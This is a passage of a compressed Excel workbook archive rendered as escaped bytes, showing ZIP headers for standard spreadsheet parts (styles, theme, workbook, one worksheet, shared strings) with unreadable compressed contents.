x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x005\xcdA\n\xc20\x10\x85\xe1\xbd\xe0\x1d\xc2\xec\\\xd8\xa9.DJ\x92.\x04O\xa0\x07\x08\xed\xd8\x06\x9aI\xedLEoo\\\xb8\xfcx<~\xdb\xbe\xd3d^\xb4H\xcc\xec\xe0P\xd5`\x88\xbb\xdcG\x1e\x1c\xdco\xd7\xfd\x19\x8ch\xe0>L\x99\xc9\xc1\x87\x04Z\xbf\xddX\x115\xe5\xcb\xe2`T\x9d\x1bD\xe9FJA\xaa<\x13\x97\xe5\x91\x97\x14\xb4p\x19P\xe6\x85B/#\x91\xa6\t\x8fu}\xc2\x14\"\x83\xe9\xf2\xcaZ\xba`V\x8e\xcf\x95.{+\xd1[\xf5\xcd\xce\xa2z\x8b?ai\xfa/PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00y\xa1\x80l\x8d\x02\x00\x00R\x06\x00\x00\r\x00\x1c\x00xl/styles.xmlUT\t\x00\x030\xd0\xce\x12\x8f\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xa5\x95]o\xdb \x14\x86\xef'\xed? \xee]l7\xce\x92\xc8v\xb54\xb5T\xa9\x9b&%\x93vKl\x9c\xa0\xf2\x11\x01\xce\x9cM\xfb\xef;\xd8I\x9c\xa8\xd36\xb5W\xc0\xcb\xe19/\x1c\xb0\xd3\xbbV\n\xb4g\xc6r\xad2\x1c\xdd\x84\x181U\xea\x8a\xabM\x86\xbf\xae\x8a`\x82\x91uTUTh\xc52|`\x16\xdf\xe5\xef\xdf\xa5\xd6\x1d\x04[n\x19s\x08\x10\xcafx\xeb\xdcnF\x88-\xb7LR{\xa3wL\xc1L\xad\x8d\xa4\x0e\x86fC\xec\xce0ZY\xbfH\n\x12\x87\xe1\x98H\xca\x15\xee\t3Y\xfe\x0fDR\xf3\xdc\xec\x82R\xcb\x1du|\xcd\x05w\x87\x8e\x85\x91,g\x8f\x1b\xa5\r]\x0b\xb0\xdaF#Z\xa26\x1a\x9b\x18\xb5\xe6\x94\xa4S_\xe4\x91\xbc4\xda\xea\xda\xdd\x00\x97\xe8\xba\xe6%{iwJ\xa6\x84\x96\x03\t\xc8\xaf#E\t\t\xe3\xab\xbd\xb7\xe6\x95\xa4\x111l\xcf}\xf9p\x9e\xd6Z9\x8bJ\xdd(\x07\xc5\x04\xb6\xdf\xec\xecY\xe9\xef\xaa\xf0S^\xec\xa3\xf2\xd4\xfe@{*@\x890\xc9\xd3R\x0bm\x90\x83\xcc\xcc\x07\x81\xa2\xa8d}\xc4=\x15|m\xb8\x17k*\xb98\xf4r\xec\x85\xce\xec1Nr8{/\x92>C\xd7XX\xc4\x858\xbb\x8aq/\xe4)\x94\xcf1\xa3\n\x18\xa0cu\xd8Az\x057\xad\xc7tq\xff\x88\xde\x18z\x88\xe2\xe4bA\xd7@\xde\xb56\x15\xdc\xec\xe1<NR\x9e\nV;X`\xf8f\xeb[\xa7w\xc4O:\x07'\x9d\xa7\x15\xa7\x1b\xad\xa8\xf0\xc8\xd3\x8ac\x07\xb0%\x13b\xe9o\xff\xb7\xfa\x8a\xdd\xd6H5\xb2\x90\xee\xb1\xca0\xbc#\xbf\xfbS\x17\x0c\x1d\xbb=\xa6\x1fx\xfe%\xadg\xbf\x19\x8b\xda\xfa\x9aFw\x89\xae\xe8g\x15\xf9zg\xf8\xb3ib@\xa0u\xc3\x85\xe3\xea\x0f\x86\x81Y\xb5\x83\xd7n\xd6\xf9\xa7w\x9d\x05\x18\x15\xabi#\xdc\xea<\x99\xe1\xa1\xff\x89U\xbc\x91\xf19\xea\x0b\xdfkw\x8c\x1a\xfaO\xbeR\xd1\xd8\xe7`\xad{\xb2\xaekQcx\x86>\xcc?L\x17\x0fE\x1cL\xc2\xf9$\x18\xdd\xb2$\x98&\xf3E\x90\x8c\xee\xe7\x8bE1\r\xe3\xf0\xfe\xd7\xc5\x07\xe0\r\xcf\xbf{\xb3P\x94h4\xb3\x02\xa2\xccq\xb3G\xf3\xcbA\xcb\xf0\xc5\xa0\xb7\xdf\x9d\x1f\xd8\xbe\xf4>\x8d\xc7\xe1\xc7$\n\x83\xe26\x8c\x82\xd1\x98N\x82\xc9\xf86\t\x8a$\x8a\x17\xe3\xd1\xfc!)\x92\x0b\xef\xc9+?\x13!\x89\xa2\xc1|2s\\2\xc1\x15\xbb\xb6\xbf\xbaT\xa1H0\xfc\xcb&\xc8\xa9\x12d\xf8\x19\xe4\xbf\x01PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x1c\x00xl/theme/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00h<\x03}\x99\x06\x00\x00\xc8 \x00\x00\x13\x00\x1c\x00xl/theme/theme1.xmlUT\t\x00\x030\xd0\xce\x12\x8d\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xedY\xcd\x8b\x1b7\x14\xbf\x17\xfa?\x88\xb9;3\xb6g\xfc\x11\xe2\x04{l\xe7k7Y\xb2NJ\x8e\xda\xb1\xecQ\xac\x19\x19I\xde]\x13\x02%9\xf5R(\xa4\xa5\x97Bo=\x94\xd2@\x03\r\xbd\xf4\x8f\t$\xb4\xe9\x1f\xd173\xfe\x18\xd9\x9a$\x9blBJ\xd7\x0b\xf6H\xfa\xbd\xa7\x9f\xde{zz\xab\xb9p\xe98b\xe8\x90\x08Iy\xdc\xb2\xca\xe7\x1c\x0b\x918\xe0C\x1a\x8f[\xd6\xedA\xbf\xd4\xb0\x90T8\x1eb\xc6c\xd2\xb2\xe6DZ\x97.~\xfe\xd9\x05|^\x85$\"\x08\xe4cy\x1e\xb7\xacP\xa9\xe9y\xdb\x96\x01tcy\x8eOI\x0cc#.\"\xac\xa0)\xc6\xf6P\xe0#\xd0\x1b1\xbb\xe285;\xc24\xb6P\x8c#P;\x00\x194\xe4\xe8\xe6hD\x03b]\\\xaa\xef1\xf8\x8a\x95L:\x02&\xf6\x83t\xceL&\x87\x1dN\xca\xc9\x8f\x9cK\x9f\tt\x88Y\xcb\x82\x99\x86\xfch@\x8e\x95\x85\x18\x96\n\x06Z\x96\x93~,\xfb\xe2\x05\xc4T\x81lN\xae\x9f~\x16r\x0b\x81\xe1\xa4\x92\xca\x89\xf1\xc1J\xd0u=\xb7\xd6^\xe9\xafd\xfa\xb7q\xbdz\xaf\xd6\xab\xad\xf4\xa5\x00\x1c\x04\xb0\xd2\xb2Ag\xbd\xe2\xbb\x0bl\x0e\x94=\x1atw\xeb\xddjY\xc3\xe7\xf4W\xb7\xf0m/\xf9\xd3\xf0\xd55\xde\xdd\xc2\xf7\xfb\xfe\xda\x869P\xf6\xe8m\xe1\xbdN\xb3\xd3\xd5\xf5{k|m\x0b_w\xda]\xb7\xae\xe1SP\xc8h<\xd9B;^\xad\xea/W\xbb\x82\x8c8\xbbb\x847=\xb7_\xaf,\xe0k\x94\x9d\x8b\xaeL>VE\xb1\x16\xe1{\\\xf4\x01\x90:\x17+\x1a#5\x9f\x92\x11\x0e\x00\xe7cF\x0f\x04E;t\x1cB\xe0Mq\xcc%t;\x15\xa7\xefT\xe1;\xf9s\xd3\xa7\xd4\xa3\xf8<\xc19\xe9\xac+\x90[]\t\x1f$\x03A\xa7\xaae]\x03\xadV\x0e\xf2\xe2\xd9\xb3\xe7\x0f\x9f>\xf8\xfb\xf3G\x8f\x9e?\xfcu1\xf7\xb6\xdc\x15\x1c\x8f\xf3r\xaf~\xfa\xe6\x9f\x1f\xbeD\xff\xf6\xe3\xab\xc7\xdf\x9a\xf12\x8f\xf9\xcbW/\xff\xf8\xf3u\xea\x95F\xeb\xbb'/\x9f>y\xf1\xfd\xd7\xfd\xfc\xd8\x00o\x0b|\x90\x87\x0fhD$\xbaA\x8e\xd0-\x1e\xc1\x02\r\x13\x90\x03q2\x89A\x88\xa9&\x81C@\x1a\x80=\x15j\xc0\x1bs\xccL\xb8\x0e\xd1MxG@\xa60\x01/\xcf\xeei\\\xf7C1S\xd4\x00\xbc\x1eF\x1ap\x97s\xd6\xe1\xc2\xb8\x9c\xeb\xc9\\\xf9\xe5\xcc\xe2\xb1yr1\xcb\xe3na|h\x9a\xdb\xdfppo6\x85\x90\xa7&\x95~H4\x9a{\x0c\xbc\x8d\xc7$&\n%c|B\x88A\xec.\xa5\x9a]wi \xb8\xe4#\x85\xeeR\xd4\xc1\xd4h\x92\x01=Pf\xa1+4\x02\xbf\xccM\x04\xc1\xd5\x9amv\xef\xa0\x0eg&\xf5]r\xa8#a[`fRI\x98f\xc6\xcbx\xa6pdd\x8c#\x96G\xee`\x15\x9aH\xee\xcfE\xa0\x19\\*\xf0\xf4\x980\x8ezC\"\xa5I\xe6\xa6\x98kt\xafC\x861\xbb}\x97\xcd#\x1d)\x14\x9d\x98\x90;\x98\xf3<\xb2\xcb'~\x88\xa3\xa9\x913\x8d\xc3<\xf6\xaa\x9c@\x88b\xb4\xc7\x95\x91\x04\xd7wH\xd2\x06?\xe0\xb8\xd0\xddw(Q'\xdb\xd6\xb7!\x03\x99\x03$\x19\x99\t\xd3\x96 \\\xdf\x8fs6\xc2\xc4\xa4\xbc-\"-\xbb\xb6\x055FGg6\xd6B{\x87\x10\x86\x8f\xf0\x90\x10t\xfb\xaa\t\xcf\xa7\xdcL\xfaZ\x08Y\xe5\n1\xd9\xe6\x1a\xd6c5i\xc7D\x12\x94\xd65\x06\xc7R\xa9\x85\xec>\x19\xf3\x02>\xbb\xf3\x8d\xc43\xc7q\x84E\x91\xe6\x1b\x13=dzp\xca\x19S\xe9M\x16L\xb4TJE\xb2i\xcd$n\xca\x08\xbf\x95\xd6\xbd\x10ka\x95\xb4\xa59^\xe7\">\xe9\x1e\x03\x99{\xef CN,\x03\x89\xfd\xadm3\xc0\x8c\x98\x03f\x80\xa1\xc00\xa5[\x10\x99\x99E\x92\xed\x94\x8a\xcd\x8cr#}\xd3\xae\xdd`o\xd4;\x11\x8d\xdfX\xfcl\x94=\xde\xc7){>X\xc1s\xfa\xa5NQJ\xd9,p\x8ap\xff\xc1\xb2\xa6\x8bg\xf1\x1e\x81\x93\xe4\xac\xaa9\xabj\xfe\x8fUM\xd1^>\xabe\xcej\x99\xb3Z\xe6\xa3\xd52\xeb\xf2\xc5\xce\xdf\xf2\xa4Z\xa2\xc2+\x9f\x11el_\xcd\x19\xd9\x91i\xe1#a\xef\x0f\xfb\xd0\x996R\xa1\xd5\r\xd34\x84\xc7\xc5t\x1an,p\xfa\x8c\x04W_P\x15\xee\x87x\n\xd3\x94\xd3\x19\xc6r\xa1z,\xd1\x94K(\x9d\xacB\xddi\xe95\x8bv\xf90\xeb-\x97\x97\x97\x9a \x80\xd5\xba\x1fJ\xafe?\x14j*\xeb\xad\xd5\xd7\xb7w+\xf5ik,\xf3\x04\xbcT\xe9\xdb\x93\xc8M\xa6\x93\xa8\x1aH\xd4\xaboG\xa2\xec\x9c\x16\x8b\xa6\x81E\xa3\xfc:\x16v\xce+p8!\x9c\xdc\x88{n\xc6\x08\xc2\rBz\x98\xf8)\x93_z\xf7\xd4=]dL}\xd9\x15\xc3\xf2\x9a\xee\xa9yZ#\x91\x0b7\x9dD.\x0cC8<6\xbbO\xd9\xd7\xcd\xa6\xd9\xd5\x15#\x8dz\xe3C\xf8\xda\xde\xce\r,\xd6[\xe8\x08\xf6\\\xd5\x035\x01\x9e\xb6\xac\x11\xfc\xd3\x04\x8f\xd1\x14\xf4\xc9$Sa6\x8e[V\xa0\x16\x86~\x97\xcc2\x15Ru\xb1\x0c3X:\x94\xad?\xa2\x8a\x08\xc4h\x04\xb1\x9ew\x03\x8b\xd7\xdc\xca\x95\xba\xf3\xe9\x92k:\x9f\x9e\xe5\xecM'\x93\xd1\x88\x04\xaa\xa0g\xdd\x84\xb1L\x89q\xf4=\xc1I\x83\xcf\x80\xf4~8<B\x07l&na0\x94W/'\x06\x1cR\xa9V\xd6\x1cR\x91\x0b\xee\xb5\x157\xd2\xd5b+j/[\xd6[\x14\xb3i\x88\x17'J>\x99g\xf0\xf4yE'\xb7\x8e\x94\xe9\xe6\xaal\x93\t\x0f\xc6\xfd\xd38u\xdf,\xb4\x914\x0b\x0e\x90za\x16\xfbp\x87|\x8eU\xd5\xcc\xca3\xe6\xbaf\xc3y\xfd)\xf1\xfe\x07B\x8eZ\xc3L\xadj\xa6Vtv\x9cbA\x90\x9b\xaeV`\xb7J\xa17\xdf\xf34\xd8\x8cZ;WW\xa6\xad\xad\xb7\xda\xfc\xe0\x1eD~\x17\xaa\xd5\x19S2\xbb\x1c;\x86\xf2\xdb_\xbe\x8f\xcc2A\xda\xbb\xcc.\xc7\n\xcd\x04mY\xf7\x1d\xaf\xed\xfa\x15\xcf/9\r\xafWr\xab\xaeSjx\xedj\xa9\xedy\xd5r\xcf+;\xddN\xe5\x01\x18E\x85Q\xd9\xcb\xe6\xee\xc3?\xfbl\xbexm\x9f\xf6o\xbd\xba\x8f\x96\xa5\xf6\xb9\x80G6O\xeb`;\x15N_\xdd\x97+\xda\xab\xfb\xacNF\x83d\xdcB\x14,s\xbfV\xe97\xab\xcdN\xad\xd4\xac\xb6\xfb%\xb7\xdbi\x94\x9a~\xadS\xea\xd6\xfcz\xb7\xdf\xf5\xbdF\xb3\xff\xc0B\x87)\xd8mW}\xb7\xd6k\x94je\xdf/\xb95'\xa1\xdfh\x96\xean\xa5\xd2v\xeb\xedF\xcfm?X\xd8\x1aV\xbe\xfc]\x9a7\xe5u\xf1_PK\x03\x04\x14\x00\x00\x00\x08\x00\xb3uOS\xc6\xd2\xda4\xc8\x03\x00\x00\x08\t\x00\x00\x0f\x00\x1c\x00xl/workbook.xmlUT\t\x00\x03B\xbeiaH\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xadUmO\xe38\x10\xfe~\xd2\xfd\x87l$\xee[\x9a8om\x03\xed\x8a\xbc\xe9*A\xa9 \x0b\x8b\x8e\x13r\x13\xb7\xb5\x9a\xc49\xc7\x81\xa2\x15\xff\xfd\xc6\xa1i\xe1\xe0C\x97\xdb\xa8\xb53\xf6\xe4\xf133\xcf$'_7E\xae<\x10^SV\x8eT\xd43T\x85\x94)\xcbh\xb9\x1c\xa9\xdf\x92X\x1b\xa8J-p\x99\xe1\x9c\x95d\xa4>\x91Z\xfd:\xfe\xfd\xb7\x93/\xe1E\x90\xdc\xce\"\x05\xcf\x95\xbfN\xbeDg\xd1y4M\xa4u:\xbdU\xc6\xb02M&\xc9\xadr\xa4\xd4\x95ru{\x95D\xe7\x8a\xba\x12\xa2\xf2t=E\x04kh0\xd4\x90ih}S3\xcd~\xaf\\r\xb6\xeeQ\xa6\xcf\xe9\x925u/\x13\x99:>\xaa\xab\xe3\xa3\ns\\\xa0\xe3\xbf\xe5\xa9x>\xfe\x83l\x164?>\xd1\xe1\x1eV\x1e\x19_\xcf\x19[+\x10HY\x8f\xba#\xeatE\n\\\xf7XEJ\xd8Y0^`\x01&_\xeau\xc5\t\xce\xea\x15!\xa2\xc8u\xd30\\\xbd\xc0\xb4T_\x10<~\x08\x06[,hJB\x966\x05)\xc5\x0b\x08'9\x16\x90\xc6zE\xab\xbaC+\xd2C\xe0\n\xcc\xd7M\xa5\xa5\xac\xa8\x00bNs*\x9eZPU)Ro\xb2,\x19\xc7\xf3\x1c\xd2\xbfA\x8e\xb2\xe1\xf0s\xe1\x8f\x0c\x18\xcc\xee$\xd8zwTAS\xcej\xb6\x10=\x80\xde\x92~\x17?2t\x84\xde\xa4`\xf3>\x07\x87!\xd9\x90\x84\x07*\xb5\xb4\x87r?\x89\xe5\xee\xb0\xdc=\x182\xfe7\x1a2\xf6p\xe6'\xd1\x9c\x1d\x9a\xa9\x8eO@\x8e\xe4\xfa\xa5\x85\x14\\US\\\xc8J\xe5\xaa\x92\xe3ZD\x19\x15$\x1b\xa9}0\xd9#y\xb3\xc0\x9b\xcaoh\x0e\x86i\r\x0c\xa4\xea\xe3\x9d\x9cg\\\xc9\xc8\x027\xb9H\x80X\x07\x0f\x1d\xea\xbaC\xd3\x91\x9e \x8c\xd3\\\x10^bA\x02V\n\xd0\xe1/\xd2\\\x8b\x1d\xac\x18\x84\xae\\\x92\x1a\xcaI\xddJ\x0fv`\xc4\xa9\x87\xe7\xf5\x0c\x8b\x95\xd2\xf0|\xa4\x06\xde\xdd\xb7\x1a\xf8\xdd=\xd0\x92\xa6\x14z\xb7\"\x9cP\x8e\xefBR\xaf\x05\xab\xee\xa2\xef\xb3\xb3\x8bIr\x1fF\xf1d:I&\xd7\x17w\xafT\x8b\xdf\xd3\xfd\t\xdd\xe2T&C\xdf1~\xb9\xffof\x808\xf7\xba\x9a\xcd\x04W\xe0~\x12\x9eA}\xae\xf0\x03T\x0b4\x91m\x9by\x02\xe5@\xd6}\x99r\x0f\xdd\xff0\x1c\xdf4\x02\xdb\xd4\x9c045\xdb\xb7Lm\xe0;\x8e\x16\x04\xb1m\x04\x83x`[\xfdgU6\xa4\x972\xdc\x88\xd5\xb6R\x12z\xa4\xda\xee\x07[\xe7x\xd3\xed \xc3kh\xb6\xa7\xf1\xc3\xd8^\xda\x07Cw=\xcb\x80\xa5F\xae)y\xac\xf7\x92\x91\xa6\xb2\xb9\xa1e\xc6\x1eG\xaa|\xb7\xaa\xca\xd3[\xf3\xb1\xb5nh&V\xa09\xa3o\xed\xd6\xfe$t\xb9\x02\xc6\x08Ym\x83pS2\x03Fn`Z\x10z\xa0\xb9qdiv\x10\xd8\xda\xd0uC\xcd\x0fm\xcb\xb1\x87\x8e\x11\x0e\xcd\x96\x91\xfe\x8aR[\xa4nV\xca\xb6!f9.i\xbe\xc2\x08>(r\xb9\xcd3\xf4\x80'\x8f\xe1\x93\xac\x95\xbf\xde=\x99\xe2<\x85\x1e\x90S\xeb8D\x869\x94\x1ed#\xcej\xd1\xce ?\n\x0c\x91m\x9c\xf6\x8d\xa1\xad\x19\x91\xe5h\xf6`\x08%\xb2\xa1N\x81\x1d\x9a\x91\xd3\x8f\xc2\xc8w\x9e\xe5[\xb2\xed\x02\xefU\xa7\xa6+\xccE\xc2q\xba\x86\xcf\xe6%Y\xf8\xb8&28\x19\x10\xf0|M\xd6w\x06\xbea\x01E;F\xb1f\xa3\xa1\xa1\xf9\xbek\x83\xbcb\xcb\xe9\xa30\x88\x9cxOV\x86\xbf\xf8$\xdf\x81\xde>M\xb0h\xa0%\xe9\xd6\xf6\xe4\x18oWw\x8b[\xb7m\xa9\xde\x1c\xe0]\x862\x90\x03\x1c\xaf \xfa\x9c\x1c\xe8\x1c_\x1f\xe8\x18L\xcf\x93\xf3\x03}\xcf\xa2\xe4\xfe&n\xf3\xfea\xb4/\xd5\xd0;\r\xe9]\r\xc7\xff\x02PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x1c\x00xl/worksheets/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00E\xb6j\xbc\x11\x02\x00\x00\x81\x04\x00\x00\x18\x00\x1c\x00xl/worksheets/sheet1.xmlUT\t\x00\x030\xd0\xce\x12\x86\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x9d\x94\xdb\x8e\xda0\x10\x86\xef+\xf5\x1d,\xdfC\xe2\x1c \xa0$+\n\x8b\xcaE\xa5\xaa\xa7{\xe3L\x88E\x12\xa7\xb69\xa9\xea\xbb\xef8\x14v+\x84\x846J\x14g\xc6\xfe\xfe\x19\xcf8\xe9\xd3\xb1\xa9\xc9\x1e\xb4\x91\xaa\xcd(\x1b\xfa\x94@+T!\xdbMF\xfeX\x0e\x12J\x8c\xe5m\xc1k\xd5BFO`\xe8S\xfe\xf1CzPzk*\x00K\x90\xd0\x9a\x8cV\xd6vS\xcf3\xa2\x82\x86\x9b\xa1\xea\xa0EO\xa9t\xc3-~\xea\x8dg:\r\xbc\xe8\x175\xb5\x17\xf8\xfe\xc8k\xb8l\xe9\x990\xd5\x8f0TYJ\x01\x0b%v\r\xb4\xf6\x0c\xd1Ps\x8b\xf1\x9bJv\xe6Bk\xc4#\xb8\x86\xeb\xed\xae\x1b\x08\xd5t\x88X\xcbZ\xdaS\x0f\xa5\xa4\x11\xd3\xd5\xa6U\x9a\xafk\xcc\xfb\xc8\".\xc8Q\xe3\x1d\xe0\x13^dz\xfb\x8dR#\x85VF\x95v\x88\xe41\xdf\xa6?\xf1&\x1e\x17W\xd2m\xfe\x0faX\x84\x1b\xb0\x97\xae\x80\xaf\xa8\xe0\x9d\xac\xf8\xca\n^a\xe1;a\xa3+\xccm\x97\x9e\xeed\x91\xd1?I4Z\xce\xe30\x1a\xcc\xd8\xa7x\x10M&\xc1 \x99\xc5\xf3\xc1\xd8\x0f'\xe1s\x14%\xcf\xd1\xf8/\xcd\xd3Bb\x85\xddb\xa2\xa1\xcc\xe8\x8cQ/O{\xfa/\t\x07\xf3fL,_\x87\x1a\x84\x05\x14`\x94\xb8\xde\\+\xb5u\xce\x15\x9a|\xc4\x99~\x82\xc3q|\xeda\x0eu\x9d\xd1\x15\xc3\xe9\xe6w\xaf\xe0\xc6(\xe1]\xb9o\xc7\x17\xbde\xdf<_5)\xa0\xe4\xbb\xda~S\x87\xcf 7\x95E\xe1\x18\xb3t\xed0-N\x0b0\x02\xfb\x13\xa5\x87A|\r|\xc1-\xcfS\xad\x0eD\xf7q\x9a\x8e\xbb\x93\xc3\xa6\xec\xde\xca<\x15n.&O\xd0d\xf0{\x9f\xfb\xa9\xb7\xc7\xd0\x04>\x88\xba\x04yfw|\x03_\xb8\xde\xc8\xd6\x90\x1a\xca\x1e\x133\x960\xe6\x07\x11%\xfa\x1c\xe96\xab:g\x19'\xe3\x08\xeb?\xc6\x82\xf4\x17\x9e\x80\xb5\xb2V5w\x9c\x15\xd6\x1a\xb4s\x86,\x9a\x8c\xfc\x116\xf4\xf9\xc2\xce)\x95\xb2\xf7\x9cn\x8b\xaf?\x8f\xfc\x05PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x1c\x00xl/_rels/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00\x81>\x94\x97\xec\x00\x00\x00\xba\x02\x00\x00\x1a\x00\x1c\x00xl/_rels/workbook.xml.relsUT\t\x00\x030\xd0\xce\x12\x8c\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xadR\xcbj\xc30\x10\xbc\x17\xfa\x0fb\xef\xb5\xec\xb4\x94R\"\xe7\x12\n\xb9\xb6\xee\x07\x08im\x99\xd8\x92\xd0n\x1f\xfe\xfb\xaa\rm\x1c\x08\xa1\x07\x9f\x96\x19\xb13\xa3\xdd]o>\xc7A\xbcc\xa2>x\x05UQ\x82@o\x82\xed}\xa7\xe0\xb5y\xbay\x00A\xac\xbd\xd5C\xf0\xa8`B\x82M}}\xb5~\xc6Asn\"\xd7G\x12Y\xc5\x93\x02\xc7\x1c\x1f\xa5$\xe3p\xd4T\x84\x88>\xbf\xb4!\x8d\x9a3L\x9d\x8c\xda\xecu\x87rU\x96\xf72\xcd5\xa0>\xd1\x14;\xab \xed\xec-\x88f\x8a\xf8\x1f\xed\xd0\xb6\xbd\xc1m0o#z>c!\x89\xa7!@4:u\xc8\n\x0e\xb8\xc8: \xcf\xdb\xaf\x96\xb4\xe7\xdc\x8bG\xf7\x1fx \xabK\x19\xaa%3|\x84\xb4'\x87\xc8\xc7\x1cT\x1e\xd0w\xb9\x18\xe6n\xd1}8\x9d\xd0\xbep\xca\xe76_\xcb\x9c\xfe\r#O.\xae\xfe\x02PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00b\xee\x9dhO\x01\x00\x00\x90\x04\x00\x00\x13\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\x00\x00\x00\x00[Content_Types].xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\x9c\x01\x00\x00_rels/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00\xb5U0#\xeb\x00\x00\x00L\x02\x00\x00\x0b\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xdc\x01\x00\x00_rels/.relsUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\x0c\x03\x00\x00docProps/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x003-\xc0tv\x01\x00\x00\x13\x03\x00\x00\x10\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81O\x03\x00\x00docProps/app.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00/\x99t\xe87\x01\x00\x00q\x02\x00\x00\x11\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\x0f\x05\x00\x00docProps/core.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\x91\x06\x00\x00xl/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00\x126\"\xcc\x95\x00\x00\x00\xb2\x00\x00\x00\x14\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xce\x06\x00\x00xl/sharedStrings.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00y\xa1\x80l\x8d\x02\x00\x00R\x06\x00\x00\r\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xb1\x07\x00\x00xl/styles.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\x85\n\x00\x00xl/theme/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00h<\x03}\x99\x06\x00\x00\xc8 \x00\x00\x13\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xc8\n\x00\x00xl/theme/theme1.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\xb3uOS\xc6\xd2\xda4\xc8\x03\x00\x00\x08\t\x00\x00\x0f\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xae\x11\x00\x00xl/workbook.xmlUT\x05\x00\x03B\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\xbf\x15\x00\x00xl/worksheets/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00E\xb6j\xbc\x11\x02\x00\x00\x81\x04\x00\x00\x18\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\x07\x16\x00\x00xl/worksheets/sheet1.xmlUT\x05\x00\x030\xd0\xce\x12ux